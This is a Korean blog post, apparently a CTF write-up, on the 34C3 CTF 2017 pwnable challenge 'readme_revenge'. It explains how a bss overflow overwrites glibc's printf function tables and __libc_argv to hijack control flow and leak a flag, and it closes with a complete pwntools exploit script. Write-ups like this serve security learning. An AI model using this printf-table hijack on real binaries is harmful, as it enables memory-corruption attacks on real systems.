'34C3 readme_revenge'에 해당되는 글 1건
- 2018.01.22 [34C3 CTF_2017] readme_revenge(pwnable)
## 34C3 CTF_2017(readme_revenge, pwn)
[Summary]
1. printf()함수의 소스코드를 보고 동작 방식을 간략하게 이해해야 한다.
2. __parse_one_specmb() 소스코드를 보고 일반적이지 않은 루틴이 실행되도록 조작해야한다.
3. libc_argv가 조작 가능할 때 이를 이용하는 함수를 찾아본다.
=> __fortify_fails()함수, malloc_printerr()함수, do_dlopen()함수 etc..
4. overflow 시켜 libc_argv, __printf_function_table, __printf_modifier_table,
__printf_arginfo_table을 조작해 eip를 control 하고 위 함수를 이용해 메모리에 있는 flag를
출력시킨다.
[Analysys]
우선 문제를 받아보면 static compile되어 있는 것을 확인할 수 있고, IDA를 통해 디컴파일 해보면
아래 [그림 1]과 같이 정말 간단한 바이너리라는 것을 알 수 있다.
[그림 1] 바이너리 디컴파일(with IDA)
간단하지만 분석을 해보면 scanf()함수를 이용하여 name이라는 변수에 사용자 입력을 받고 있지
만, 길이 값을 체크하지 않아 오버플로우 취약점이 존재한다. 그리고 입력 받은 값을 printf()함수를
통해, "Hi, %s. Bye.\n"를 출력한다.
일단 취약점이 어디서 나타나는지 알고 있으므로, name변수를 살펴보았다.
[그림 2] name
[그림 2]와 같이 사용자 입력 값이 저장될 name 변수는 bss영역에 존재하고, static compile된
바이너리기 때문에 library에서 사용하는 각종 variable들도 함께 저장되어 있었다. 그 말은
우리는 name 뒤의 영역에서 library에서 사용하는 변수들을 조작할 수 있다는 말이다. 우선
조작할 만한 변수를 찾는 것이 중요한데, 나의 경우 일단 crash가 날때 까지 사용자 입력 값을
넣어보았다. 그랬더니 아래 [그림 3]과 같이 "A"가 1609개 입력되면 크래시가 터졌다.
[그림 3] Crash!
우선 library에서 사용하는 변수를 의미없는 "A"로 덮어씌우다가 다른 의미없는 것들은 프로그램
동작에 아무 문제 없었지만 1609번째 덮어씌운 변수에서 문제가 생긴 것이다. 우선 gdb로 확인하
면, __parse_one_specmb()함수에서 Crash가 난 것을 알 수 있고, IDA로 동적 디버깅을 한 결과
아래 [그림 4]와 같이 "A"가 __printf_function_table변수까지 덮어씌워주는 것을 알 수 있었다.
그리고 실질적으로 [그림 5]와 같이 __printf_arginfo_table의 값 때문에 crash가 나는 것을 알 수
있다.
[그림 4] "A"*1609 overflow
[그림 5] crash!
[그림 5]를 보면 __printf_arginfo_table에서 값을 rcx로 가져와 "mov rax, [rcx+rdx*8]"를 실행하
면서 crash가 나는데 분석해보면 rcx가 0이고, rdx가 0x73이기 때문에 0x398 주소에 접근하면서
segment fault가 나게 된다.
이제 조작해야할 중요한 변수가 __printf_arginfo_table, __printf_function_table인 것을 알았는데,
뭘해야할지 몰라서 printf()함수의 소스코드를 살짝 보았다. 우선 위 crash가 터지는 함수인
__parse_one_specmb()함수의 소스코드를 보면 아래 [코드 1]과 같은 부분을 볼 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | ... /* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { ... // ref) https://code.woboq.org/userspace/glibc/stdio-common/printf-parsemb.c.html#49format | cs |
[코드 1] __parse_one_specmb() 함수 중 line 307-319 부분
이제 여기서 중요한 것이 있다. 우선 [코드 1]에서 if문안에서 4개의 조건을 OR연산자로
묶어 놨다. 그런데 여기 4번째 조건을 잘 보면 함수포인터를 이용하여 함수를 실행한다.
이 때의 함수포인터는 우리가 조작할 수 있었던 __printf_arginfo_table을 참조한다!!
그렇다면 EIP를 컨트롤 할 수 있다는 말이 된다. 이제 이 조건을 트리거하기만 하면 된다.
그런데 if문이 OR연산자로 묶여있을 때 첫 번째 조건이 true이면 뒤의 조건문을 실행하지 않는다.
따라서 앞의 조건들을 false로 맞춰 주어야 한다.
첫 번째 조건은"__builtin_expect(__printf_function_table == NULL, 1)"인데, __builtin_expect는
gcc에서 사용할 수 있는 키워드이며, 결과가 거의 확실할 때 컴파일러에게 알려주고 fetch과정에서
CPU가 좀더 효율적으로 동작하도록 하는 것이다. 결국 대부분 "__printf_function_table == NULL"
조건은 대부분 참이 되는 것으로 코드가 짜여져 있다. 우선 이 조건을 거짓으로 만들어야 하는데
우리는 이미 __printf_function_table을 조작하였다.
나머지 조건도 false로 만들어 주고 4번째 조건의 함수포인터를 활용해 EIP를 컨트롤 하면 된다.
일단 [그림 5]의 assembly에서 보면 위 소스코드의 첫 번째 조건을 확인하고 바로 세 번째 조건을
확인하는 듯하여 __printf_function_table과 __printf_arginfo_table을 의미없는 값으로 덮어씌웠다.
그랬더니 아래 [그림 6]과 같은 부분에서 crash가 났다. __printf_function_table과
__printf_arginfo_table사이에 __printf_modifier_table이라는 변수가 있는데, 이 값이 NULL이
아니면 Crash가 나서 취약점이 발생하는 부분까지 가지 않는 것이었다.
[그림 6] __printf_modifier_table이 NULL이 아닐 경우 Crash!
그래서 __printf_modifier_table은 0으로 맞춰주고, __printf_arginfo_table을 덮어씌워 주었는데
이 때 주의해야할 점은 처음 "mov rax, [rcx+rdx*8]" 에서 crash가 났을 때 rcx값이 0이어서
0x398메모리 주소에 접근하면서 seg fault가 난 것이므로 이 값은 접근 가능한 메모리 주소가
되어야 하며 rdx는 항상 0x73이었다. 이를 바탕으로 아래 [그림 7]을 보면 __printf_arginfo_table
"mov rax, [rcx+rdx*8]"가 실행되고 "call rax"가 실행되어 eip를 컨트롤 할 수 있다.
[그림 7] call rax => RIP control!
이제 RIP까지 컨트롤 할 수 있다. 거의 다했는데 flag를 출력해야 한다. 일단 이것을 하기 위해서는
4가지 사실을 알아야 한다. 첫째, flag가 메모리 상(0x6b4040)에 존재한다. 둘째, overflow를 통해
__lib_argv를 조작할 수 있다. 셋째, __lib_argv를 사용하는 library error 메시지를 출력하는 함수가
존재한다.(ex. __fortify_fails 등등) 넷째, __lib_argv는 2중 포인터이다.
그럼 이제 __lib_argv는 flag의 주소가 저장되어 있는 주소로 조작하고, __printf_function_table은
NULL이 아닌 값, __printf_modifier_table은 NULL 값, __printf_arginfo_table은 컨트롤 되기 원하는
주소-0x398으로 조작하여 RIP를 __fortify_fails()함수를 호출하면 아래 [그림 8]과 같이 플래그를
획득할 수 있다.
[그림 8] Get flag!
[Exploit Code] - readmerevenge_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | from pwn import * #import hexdump context(arch='amd64',os='linux') local=True #local=False if local: #local_libc = ELF("./libc-2.26.so") #p = process("./sgc", env={'LD_PRELOAD':local_libc.path}) p = process("./readme_revenge") else: #remote_libc = ELF("./libc.so.6") p = remote("1.1.1.1", 1234) binary = ELF("./readme_revenge") libc = binary.libc raw_input() bss_name = 0x6b73e0 libc_argv = 0x6b7980 printf_function_table = 0x6b7a28 printf_arginfo_table = 0x6b7aa8 fortify_fail = 0x4359d0 flag_addr = 0x6b4040 if __name__ == '__main__': payload = p64(flag_addr) + "A"*(libc_argv - (bss_name+8)) payload += p64(bss_name) payload += "A"*(printf_function_table - (libc_argv+8)) + p64(fortify_fail) # printf_function_table != NULL payload += p64(0x0) # printf_modifier_table = 0x0 payload += "B"*(printf_arginfo_table - (printf_function_table+8+8)) payload += p64(printf_function_table - 0x398) p.send(payload + '\n') p.interactive() | cs |
끝~!
'CTF writeup' 카테고리의 다른 글
[34C3 CTF_2017] SimpleGC(pwnable) (0) | 2018.01.07 |
---|---|
[HITCON CTF_2017] start(pwnable) (0) | 2017.11.22 |
[CSAW CTF_2017] prophecy(reversing) (0) | 2017.09.21 |
[HDCON_2017] Fabuary(reversing) (0) | 2017.09.21 |
[ASIS CTF_2017] mrs. hudson(pwnable) (0) | 2017.09.13 |